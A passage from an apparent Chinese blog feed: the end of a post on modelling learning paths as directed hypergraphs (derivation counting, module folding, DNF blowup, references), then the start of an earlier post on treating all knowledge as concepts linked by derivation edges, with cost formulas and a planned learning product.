&lt;p&gt;&lt;strong&gt;计数是硬的。&lt;/strong&gt; 上一篇我提过一个「理解倍率」的设想：每完成一条不同的有效路线就增加 100% 的理解度。现在可以判它死刑了——统计极小推导的个数，稍作修改就能归约到统计最小集合覆盖的个数，属计数困难问题，而且极小推导的数量本身可以随图规模指数增长。&lt;strong&gt;理解倍率不能定义为路线计数&lt;/strong&gt;，只能换成可控的替代量，并明确标注为工程近似。&lt;/p&gt;
&lt;h3 id="模块层封装的真实代价"&gt;模块层：封装的真实代价
&lt;/h3&gt;&lt;p&gt;最后是我前面反思里的第二条：概念不是可以随意拆分和封装的。这一节给出它到底难在哪。&lt;/p&gt;
&lt;p&gt;先说一个结构上的好消息：&lt;strong&gt;封装整体被移出了核心层。&lt;/strong&gt; 核心层的三个算法都不读取包含关系，而折叠本质上是核心图上的商结构，可以独立取舍。移出之后有个直接收益——核心层不再背负「禁止递归交集」这条公理，因为核心层根本没有包含关系。&lt;/p&gt;
&lt;p&gt;折叠的定义是：把模块内部的一堆点整个捏成一个点，对外只留下一张&lt;strong&gt;价目表&lt;/strong&gt;——从哪几组入口进来、各要花多少钱。这里超图表示自动吃掉了上一版的一项条件：入口的 AND/OR 组合语义不需要专门保留，因为边界本来就是一组超边。&lt;/p&gt;
&lt;p&gt;代价是那个爆炸原样出现了：&lt;strong&gt;边界超边的条数等于边界公式的析取范式项数。&lt;/strong&gt; 取 $\bigwedge_{i=1}^{k}(I_{i,1} \vee I_{i,2})$，合取式仅 $2k$ 个文字，析取范式却有 $2^{k}$ 项——$k = 12$ 时需要 4096 条边界超边。这不是实现瑕疵，而是超图只能表达析取范式这一事实的固有代价。所以折叠必须设硬预算，超限就拒绝折叠、让子图保持展开。&lt;/p&gt;
&lt;p&gt;更有意思的是，上一版里我凭直觉立的「禁止递归交集」公理，现在有了确切身份。我做了三组实测：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;情形&lt;/th&gt;
&lt;th&gt;实测&lt;/th&gt;
&lt;th&gt;结论&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;单出口成立，模块内部超边不被外部复用&lt;/td&gt;
&lt;td&gt;精确 7，折叠后 7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;保真&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外部直接消费模块内部点&lt;/td&gt;
&lt;td&gt;精确 5；丢弃该外部边则目标不可达，改指向根则得 7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;可推导性丢失&lt;/strong&gt;，单出口是必要条件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;两个模块共用内部超边&lt;/td&gt;
&lt;td&gt;精确 12，折叠后 22&lt;/td&gt;
&lt;td&gt;共享前置被&lt;strong&gt;重复计费&lt;/strong&gt;，禁止交集是必要条件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;三组的完整算例见 &lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/verify_v6b.py#L63" target="_blank" rel="noopener"
&gt;&lt;code&gt;test_folding&lt;/code&gt;&lt;/a&gt;，析取范式规模的增长见 &lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/verification/verify_v6b.py#L82" target="_blank" rel="noopener"
&gt;&lt;code&gt;test_dnf_blowup&lt;/code&gt;&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;也就是说，&lt;strong&gt;「禁止递归交集」不是一条随意的工程公理，而是折叠在集合成本下保真的必要条件。&lt;/strong&gt; 同时它的适用范围被大幅收窄了：&lt;strong&gt;它只约束模块层的折叠操作，不约束核心图。&lt;/strong&gt; 核心层的点可以任意共享前提、被任意多处引用，因为核心层压根不做折叠。上一版把它写成全局公理，是分层不清导致的过度约束。&lt;/p&gt;
&lt;p&gt;图论里有个严格但很强的参考条件叫模块分解&lt;sup id="fnref:9"&gt;&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref"&gt;9&lt;/a&gt;&lt;/sup&gt;：一个节点集合要能被商图节点无损替代，每个外部节点必须要么连接它的全部节点、要么一个也不连。我希望能封装的任意子图通常不满足这个条件，所以不能声称折叠在图论意义上天然无损。结论是保守的：先只提供折叠的&lt;strong&gt;校验器&lt;/strong&gt;（判定单出口、无部分交集、析取范式规模），把折叠本身留到核心求解器稳定之后。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;七节走完，回头对账。上一版三个最严重的问题都有了着落：&lt;strong&gt;没有专注数学本身&lt;/strong&gt;，靠核心层准入判据解决；&lt;strong&gt;AND / OR 像补丁&lt;/strong&gt;，被双射证明为可完全消除；&lt;strong&gt;无环限制表达上限&lt;/strong&gt;，被最小不动点语义证明为多余，而且新语义比原来更宽松——好环得以保留，坏环自动失效。&lt;/p&gt;
&lt;p&gt;但账不是白结的。新问题一并列出来：&lt;strong&gt;语义正确的成本口径 NP-hard 且不可近似&lt;/strong&gt;，只能靠一对上下界夹逼；&lt;strong&gt;环从语法错误降级为静默失败&lt;/strong&gt;，必须补诊断层，而诊断判据本身容易写错；&lt;strong&gt;理解倍率不能定义为路线计数&lt;/strong&gt;；&lt;strong&gt;封装的边界公式可能指数爆炸&lt;/strong&gt;；&lt;strong&gt;尾头相同但载荷不同的超边会被静默合并&lt;/strong&gt;，超边必须带稳定身份；以及上一节那条反直觉的——&lt;strong&gt;图越接近想要的样子，就越靠近难解那一端&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;至于上一篇里我当成头号未决问题的那个——&lt;strong&gt;权到底用什么可观测量来度量&lt;/strong&gt;——现在回头看，我当时把它放错了层。&lt;/p&gt;
&lt;p&gt;按前面立的准入判据，核心层只&lt;strong&gt;接收&lt;/strong&gt; $w$、不产生它，那么「$w$ 怎么算出来」按定义就在应用层。我却把它写成「模型的头号未决问题」，等于一边说它不属于模型、一边又说它是模型最大的洞。&lt;strong&gt;模型本身是完整的，它不需要关心 $w$ 从哪来。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;应用层可选的方法很多：测实际有效学习时长；让 AI 按统一 Scale 打分；最朴素的直接数推导所需解释的文本长度。它们都能产出数字，落到实现层选一个即可。&lt;/p&gt;
&lt;p&gt;真正剩下的不是「用什么可观测量」，而是「&lt;strong&gt;怎么让这些数加起来仍然有意义&lt;/strong&gt;」——模型要对它们求和、并跨路线比较总和，这要求它们落在同一个可加的标度上。学习时长会被疲劳、动机、中断污染，而且你只观测得到走过的那条路，看不到反事实；AI 打分的分数通常非线性，「7 分」不是「1 分」的七倍；文本长度天然可加、但只是代理量，而且恰好撞上了上一篇警告过的陷阱：画一条没有论证的直线，文本很短、权很低，实际上根本没有推导。&lt;/p&gt;
&lt;p&gt;但这件事自带反馈闭环：预测成本和实际结果可以对账，所以 $w$ 是可以被学出来、校准出来的。&lt;strong&gt;这是个机器学习问题，不是数学缺口。&lt;/strong&gt; 冷启动用文本长度或 AI 打分当先验就够。&lt;/p&gt;
&lt;p&gt;所以它应该被降级为：&lt;strong&gt;应用层的标定问题，有明确的解决路径&lt;/strong&gt;。模型那一层现在是闭合的。&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;A. Tarski. &lt;em&gt;A lattice-theoretical fixpoint theorem and its applications&lt;/em&gt;. Pacific Journal of Mathematics, 5(2):285–309, 1955. 保证单调算子在完全格上的最小不动点存在且唯一，是闭包良定义、且循环支撑自动失效的依据。&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a href="#fnref1:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;W. F. Dowling and J. H. Gallier. &lt;em&gt;Linear-time algorithms for testing the satisfiability of propositional Horn formulae&lt;/em&gt;. Journal of Logic Programming, 1(3):267–284, 1984. 给出 Horn 公式可满足性的线性时间算法，本文的可达性判定即其计数式前向链接实现。&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;A. Martelli and U. Montanari. &lt;em&gt;Additive AND/OR graphs&lt;/em&gt;. IJCAI 1973, pp. 1–11. 经典 AND/OR 图求解：AND 节点要求所有子问题共同解决，OR 节点从替代方案中选择，解是最低成本的解图而非路径。&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;G. Gallo, G. Longo, S. Pallottino, and S. Nguyen. &lt;em&gt;Directed hypergraphs and applications&lt;/em&gt;. Discrete Applied Mathematics, 42(2–3):177–201, 1993. 有向超图的系统性处理，包括连通性、路径与割的定义，以及与命题逻辑、AND/OR 图的对应关系。&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:5"&gt;
&lt;p&gt;D. E. Knuth. &lt;em&gt;A generalization of Dijkstra&amp;rsquo;s algorithm&lt;/em&gt;. Information Processing Letters, 6(1):1–5, 1977. 提出上位函数（superior function）条件，把 Dijkstra 推广到超图上的最小成本推导，是展开成本与深度成本可高效求解的依据。&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:6"&gt;
&lt;p&gt;U. Feige. &lt;em&gt;A threshold of ln n for approximating set cover&lt;/em&gt;. Journal of the ACM, 45(4):634–652, 1998. 证明 $(1-o(1))\ln n$ 是集合覆盖近似的下界门槛，本文集合成本的不可近似性由归约传递而来。&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:7"&gt;
&lt;p&gt;G. Ausiello, G. F. Italiano, and U. Nanni. &lt;em&gt;Hypergraph traversal revisited: Cost measures and dynamic algorithms&lt;/em&gt;. MFCS 1998, LNCS 1450. 指出超路径的最优化代价随所选度量函数，可以从线性时间一直变化到 NP-hard。&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:8"&gt;
&lt;p&gt;J. Goodman. &lt;em&gt;Semiring parsing&lt;/em&gt;. Computational Linguistics, 25(4):573–605, 1999. 把推导的聚合统一到半环上，布尔半环给出可达性、$(\min,+)$ 给出最短推导、计数半环给出推导数量。&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:9"&gt;
&lt;p&gt;M. Habib and C. Paul. &lt;em&gt;A survey of the algorithmic aspects of modular decomposition&lt;/em&gt;. Computer Science Review, 4(1):41–59, 2010. 模块分解给出「子图可被商图节点无损替代」的严格条件，本文用它说明任意子图的折叠不能默认无损。&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>[outdated] 万物皆概念：如何最大化学习速度？</title><link>https://v3n0.com/post/2026/everything-is-concept/</link><pubDate>Wed, 19 Aug 2026 01:32:48 +0800</pubDate><guid>https://v3n0.com/post/2026/everything-is-concept/</guid><description>&lt;p&gt;我们怎样才能最大化学习速度？&lt;/p&gt;
&lt;p&gt;我最初对这个问题产生兴趣，源于我做后端启蒙直播课的经历。在教学过程中，我发现自己对于不管是对于自身的学习，还是对于教学，都乐在其中。后来，在跟随我的导师学习“信号与系统”这门通常被认为难度较高的工科基础课时，我的一些观察得到了进一步印证。&lt;/p&gt;
&lt;p&gt;我在学校基本不上课，期末才速通，但信号与系统是真的黔驴技穷。我的导师通过引入算子理论和希尔伯特空间，以通过考试为目标，重新构造了给我定制的教学路径，教学顺序和学校课程有非常大差异。结果，一门通常需要学习一学期还不一定能过的课程，在这一教学路径下我只用了 3 天的学习时间，从什么是信号都不知道的程度，最后实现了在期末考试中考到了 60 分的水平，最终成绩 71 分。&lt;/p&gt;
&lt;p&gt;记忆犹新的是，我甚至拿到试卷才知道信号与系统用英语考，最后五分钟才发现试卷有一整面没被我搓开，那两道大题只写了五分钟，几乎只拿了前几步的分。&lt;/p&gt;
&lt;p&gt;更令人惊讶的是，在他进一步改进教学线路，以集合论为起点之后，另一位有一定数学和理论物理基础的同学仅用半天就建立了对这门课主干理论的整体理解，并能够进入后续实践。这套“集合论版本”的教程实实在在地以集合论为起点，逐步推演到算子谱定理，再把卷积、微分等运算理解为在另一组基下的乘法，由此统一理解信号与系统中的各种变换。他并不以通过考试为目标，短短时间后已经能够在团队中编写高效的硬件优化算法。&lt;/p&gt;
&lt;p&gt;这些经历让我得出一个暂时性的结论：&lt;strong&gt;学习路径才是学习速度的关键因素。它的影响可能远大于个人能力、同一学习路径上的教师教学能力、或其他的什么因素。学习路径才是学习过程中的主要矛盾。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我在上一篇相关文章&lt;a class="link" href="https://v3n0.com/post/2026/learning-method/" target="_blank" rel="noopener"
&gt;《逃离应试教育，重新学会怎么思考》&lt;/a&gt;里提出，学习一个知识体系，本质上是在寻找它的“最小生成元 + 生成规则”。但那个说法仍然停留在方法论层面。这篇文章想再向前走一步：能否把学习路径变成一个可以被建模、计算和优化的问题？&lt;/p&gt;
&lt;p&gt;基于这一观察，我最终构思了一个核心问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们如何从学习者已经掌握的概念出发，找到能够推出目标概念定义的最低成本学习路线？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果将概念视为点、概念之间的推导视为边，那么：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;给定学习者已掌握的概念和目标概念，可以计算一张满足全部必要条件的最低成本推导子图。&lt;/li&gt;
&lt;li&gt;当知识图中加入新的概念和有效推导时，可以重新计算可选路线，进一步压缩学习成本。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这篇文章将围绕这一核心逻辑展开，尝试讨论如何通过数据建模和路径优化，实现学习效率的飞跃。&lt;/p&gt;
&lt;p&gt;目前它仍处于理论思考阶段，本人也并非有专业的数学素养，有许多定义尚不严密，也有待读者批评。下面我们进入正文。&lt;/p&gt;
&lt;h2 id="我想做的产品"&gt;我想做的产品
&lt;/h2&gt;&lt;p&gt;上面提出的问题并不只是这篇文章中的理论假设。我正在尝试把这套思路做成一个产品，目前仍处于开发初期。后文从 v0 到 v5 的模型演进，正是这个产品核心数据模型的演进。&lt;/p&gt;
&lt;p&gt;我想做的是一套让知识能够被共同建模、共同教学、共同验证的基础设施。它首先要同时降低三件事的成本：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;帮助有教学意愿的人，用更低的成本写出更好的教程。&lt;/strong&gt; 教程作者不必从一页空白文档开始线性写作，而可以复用已有概念，以及推导边所携带的理解材料，把精力放在真正缺失或高成本的推导上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;帮助学习者用更低的成本学习一个目标概念。&lt;/strong&gt; 系统根据学习者已经掌握的概念，即时生成通向目标概念的最低成本学习路线，而不是让所有人从同一份固定教程的第一页开始。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;帮助任何人在记录和梳理知识时，同时创作教程。&lt;/strong&gt; 一个人写下概念的定义、它解决的问题以及自己如何从旧概念抵达它时，实际上已经在贡献教程节点和推导边，而不只是在保存一份私人笔记。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这三件事可以形成一个闭环：&lt;/p&gt;
&lt;pre class="mermaid"&gt;
flowchart TB
A[记录和梳理个人知识] --&amp;gt; B[形成概念与推导]
B --&amp;gt; C[按学习者状态生成路线]
C --&amp;gt; D[学习者沿路线学习]
D --&amp;gt; E[产生理解与验证证据]
E --&amp;gt; F[发现缺失或高成本的边]
F --&amp;gt; B
&lt;/pre&gt;
&lt;script type="module"&gt;
import mermaid from 'https://cdn.jsdelivr.net/npm/mermaid@11.14.0/dist/mermaid.esm.min.mjs';
mermaid.initialize({ startOnLoad: true, theme: 'neutral' });
&lt;/script&gt;
&lt;p&gt;如果这个闭环能够实现，学习者面对的教程就不再是传统教学方式中写死的教纲内容。我们可以随时根据整个知识体系，针对学生的当前理解状态以及学习目标，生成一条定制化的路线。学习者的卡点、回答和实践结果会成为反馈，系统需要据此识别哪些边经常失败、哪些概念缺少前置条件、哪些新路线确实降低了学习成本，再让作者、学习者或 Agent 继续补充和优化。&lt;/p&gt;
&lt;p&gt;在我最终的愿景中，它能形成一种新一代的教育体系：教程的生产能力不再被少数教育机构垄断，而是分布给社会中所有愿意学习、解释、记录和验证知识的人。群众消费教程的同时，也在使用教程的过程中共同生产和改进教程。&lt;/p&gt;
&lt;p&gt;要让这个闭环成立，个人的笔记、知识导图，和教程所使用的学习路线、章节划分，就不能继续使用彼此割裂的数据结构。它们必须能够被同一个模型表达。这是我最近总结出的模型的出发点。&lt;/p&gt;
&lt;h2 id="万物皆概念"&gt;万物皆概念
&lt;/h2&gt;&lt;h3 id="只有一种对象概念"&gt;只有一种对象：概念
&lt;/h3&gt;&lt;p&gt;要计算学习路径，首先必须回答什么是知识体系里的“点”。&lt;/p&gt;
&lt;p&gt;我最初仍然沿用了课程、章节、概念、问题等传统层级。但继续推演后会发现，这种分层并不自洽：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一门课程可以被拆成若干章节；&lt;/li&gt;
&lt;li&gt;一个章节可以被拆成若干概念；&lt;/li&gt;
&lt;li&gt;一个足够大的概念同样需要一整套教程；&lt;/li&gt;
&lt;li&gt;一门课程本身也可以被视作一个更大的概念。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;既然“课程”“章节”和“概念”都可以继续拆分，也都可以作为更大讨论对象的一部分，那么它们在数据结构上并没有本质区别。因此，与其维护一套固定层级，不如只保留一种对象：&lt;strong&gt;概念&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这里的概念不是一个术语或标签，而是一条客观的、默认成立的定义或陈述。例如“傅里叶变换”是一个概念，“信号与系统”也是一个概念；后者可以继续展开为一张以自身定义为目标、由多个子概念及其推导关系构成的知识图。&lt;/p&gt;
&lt;p&gt;任何概念都同时具有两种性质：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;它可以和其他概念组合，在满足封装条件时形成一个更大的概念。&lt;/li&gt;
&lt;li&gt;它可以被继续展开，记录一张以它为目标、包含一条或多条有效推导路线的有向无环图。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此，“万物皆概念”并不是说所有东西都要被塞进同一个扁平列表，而是说：&lt;strong&gt;知识体系中的每一层都使用同一种递归结构。&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Concept
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── definition # 这个概念最终应当能够被重新推导出的定义
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── children[] # 内部推导图引用的直接子概念
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── derivations[] # 子概念之间的推导边
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── derivation_plans[] # 由若干入边组成的推导方案
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Derivation
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── source
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── target
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── question # 为什么需要从 source 推进到 target
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── answer # 完成这一步的推导和论证
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── materials[] # 帮助学习者完成这条推导的材料
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里唯一的知识节点类型仍然是概念。&lt;code&gt;Derivation&lt;/code&gt; 是概念之间的关系，&lt;code&gt;derivation_plans&lt;/code&gt; 则是对若干条边的组合，不是另一种知识节点。&lt;/p&gt;
&lt;p&gt;子概念应当使用引用，而不是直接内嵌。为了让每个概念在所属知识体系中拥有确定的递归位置，本文暂时增加一条强约束：同一知识体系内，递归概念之间禁止部分交集；除父概念完整包含子概念的情况外，不同递归分支必须彼此分离。如果两个递归结构必须发生交集，暂时把它们放进不同的知识体系。这是一条为了换取结构稳定性而引入的模型公理，不是知识天然满足的事实；它的收益和代价将在文末继续讨论。&lt;/p&gt;
&lt;p&gt;理解材料明确属于推导边，而不属于概念节点。概念陈述“是什么”，材料则服务于“如何从一个概念推导到另一个概念”；同一个目标概念可以由不同路线抵达，每条路线需要的解释和证据也可能不同。&lt;/p&gt;
&lt;h3 id="边是概念之间的推导"&gt;边是概念之间的推导
&lt;/h3&gt;&lt;p&gt;如果节点是概念，那么边是什么？&lt;/p&gt;
&lt;p&gt;我最初把边称为 Prompt，也就是“进入下一个概念的问题引入”。但这一定义并不完整。如果边只提出问题，却不包含如何回答问题，那么它仍然没有说明两个概念之间为什么能够连接。&lt;/p&gt;
&lt;p&gt;因此，一条从 $a$ 指向 $b$ 的边，应当表示&lt;strong&gt;概念 $a$ 对推导概念 $b$ 所作的贡献&lt;/strong&gt;。当它单独构成一套推导方案时，这条边承载从 $a$ 到 $b$ 的完整过程；当它属于一个 AND 方案时，多条边共同构成推出 $b$ 的完整过程。每条边至少包含三部分：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;问题引入&lt;/strong&gt;：旧概念遇到了什么局限，或者现实中出现了什么新问题？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;问题解答&lt;/strong&gt;：通过什么论证、构造或抽象，可以从旧概念得到新概念？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;理解材料&lt;/strong&gt;：为了完成这一步推导，可以阅读、观察、操作或验证什么？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;例如，“行列式”不应该通过“把这一串运算命名为什么”来引入。这只是在复述定义，没有推进认识。更合理的边可能是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们需要判断一个线性变换是否把空间压扁，也就是它是否可逆。能否构造一个在行变换下行为明确、又能表示有向体积缩放的标量？由这一需求构造出行列式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一条合理的边通常至少满足以下一种条件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;解决前一个概念的局限；&lt;/li&gt;
&lt;li&gt;触碰前一个概念的表达边界；&lt;/li&gt;
&lt;li&gt;回答现实中遇到的具体问题；&lt;/li&gt;
&lt;li&gt;将若干重复出现的推理压缩为一个可复用概念。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这也为“新增边”设置了约束。我们不能为了让图上的距离变短，就画一条没有论证的直线。&lt;strong&gt;边的长度可以短，但边所承载的推导不能被省略。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="把学习成本写成有效推导子图的成本"&gt;把学习成本写成有效推导子图的成本
&lt;/h3&gt;&lt;p&gt;设学习者已经掌握的概念集合为 $S$，目标概念为 $t$。记 $\mathcal{R}(S,t)$ 为所有能够从 $S$ 推出 $t$ 的有效推导子图集合。每个 $R \in \mathcal{R}(S,t)$ 都必须递归选择一套 OR 方案，并完整包含该方案内的全部 AND 边；递归遇到 $S$ 中已经掌握的概念时停止。&lt;/p&gt;
&lt;p&gt;在无权模型中，可以先把一条路线的结构成本定义为其中包含的推导边数：&lt;/p&gt;
&lt;p&gt;$$
C_0(R) = |E_R|
$$&lt;/p&gt;
&lt;p&gt;于是当前知识图中的最低结构成本为：&lt;/p&gt;
&lt;p&gt;$$
C_0^*(S,t) = \min_{R \in \mathcal{R}(S,t)} |E_R|
$$&lt;/p&gt;
&lt;p&gt;若每条边有不同成本，则可以把边权定义为完成该推导所需的时间、认知负荷或材料长度：&lt;/p&gt;
&lt;p&gt;$$
C_u^*(S,t) = \min_{R \in \mathcal{R}(S,t)} \sum_{e \in E_R} w_u(e)
$$&lt;/p&gt;
&lt;p&gt;这里的 $w_u(e)$ 是学习者 $u$ 完成推导边 $e$ 的成本，共享的前置推导在同一子图中只计算一次。当所有推导方案都只有一条边时，有效推导子图退化成普通路径，这个公式也就退化成通常的最短路径问题。&lt;/p&gt;
&lt;p&gt;因此，本文继续使用“最短学习路径”这个直观说法，但严格的求解对象应当是&lt;strong&gt;最低成本有效推导子图&lt;/strong&gt;。它的任意拓扑序都可以形成一种合法讲述顺序；尤其对于同一个 AND 方案中的独立前置分支，先学习哪一个不会改变路线的成立性和总成本。&lt;/p&gt;
&lt;h3 id="一个概念可以被理解多次"&gt;一个概念可以被理解多次
&lt;/h3&gt;&lt;p&gt;同一个定义可能由多条不同路线推出，理解并不必在第一次抵达后停止。&lt;/p&gt;
&lt;p&gt;本文把理解的最终判据定义为：&lt;strong&gt;学习者完成一张有效推导子图后，能够重新推出目标概念的定义&lt;/strong&gt;。但“能够推出”仍然需要证据，不能由图上的可达性直接替代。对知识的深度理解，是解决真实问题的前提；而能否解决真实问题，才是本文所讨论的学习路径最终要优化的目标。&lt;/p&gt;
&lt;p&gt;一个可能的处理方式，是为每个概念维护置信度 $m_u(c) \in [0,1]$，并根据回答、实践、遗忘和迁移表现不断更新。已掌握集合 $S$ 不再是固定集合，而是从连续状态中按当前任务要求投影出来的结果。&lt;/p&gt;
&lt;p&gt;在理论模型之外，或许可以把每完成一条不同的有效路线视为增加 $100\%$ 的理解倍率；如果学习者完整掌握两条路线，又完成第三条路线的一半，就可以记作 $250\%$。这里的百分比不是概念本体的一部分，也不是传统意义上封顶于 $100\%$ 的完成度，只是对“能够从多少条路线重新生成同一概念”的一种投影。这样可能看起来会更有成就感(x&lt;/p&gt;
&lt;p&gt;存在 AND 条件时，这里说的“一条路线”指一张完整的有效推导子图，而不是任取一条忽略其他必要前提的简单路径。同一张推导子图的不同拓扑序只改变一个概念的独立前置条件学习先后顺序，不会增加理解倍率。&lt;/p&gt;
&lt;p&gt;此外，两张有效推导子图可能只相差一条边，也可能使用完全不同的生成规则。前者是否足以在现实意义上算作一条新的理解路线，不能只靠“边集合不相等”来判断。&lt;/p&gt;
&lt;p&gt;这也会影响前文的理解倍率：如果对知识图中的每条简单路径机械计数，少量分支就可能组合出指数级路线，重复或近似相同的推导也会虚增理解程度。这实际上是知识图谱的构建存在问题，最终可能只能靠真正理解知识的人类来评估实际知识图谱的质量如何。更合理的如何判定两条路线的重合度，可能需要进一步讨论。&lt;/p&gt;
&lt;h3 id="通过新增点和边压缩学习路径"&gt;通过新增点和边压缩学习路径
&lt;/h3&gt;&lt;p&gt;在已有图中寻找最低成本有效路线，解决的是“如何使用现有知识结构”。更重要的问题是：&lt;strong&gt;能不能改造知识图本身？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;新的路线不一定来自一条直连目标的边。我们也可以引入一个压缩率更高的中间概念，再建立它与已有概念和目标概念之间的推导边。只要所有路线的并集仍然无环，旧路线和新路线就可以同时保留，成为可随时选择的不同 OR 方案。&lt;/p&gt;
&lt;p&gt;一个高度抽象的统一理论确实能缩短后续路线，但学习这个统一理论本身也需要成本。如果为了少学五条边，先引入一个成本相当于二十条边的新概念，整体上反而更慢。&lt;/p&gt;
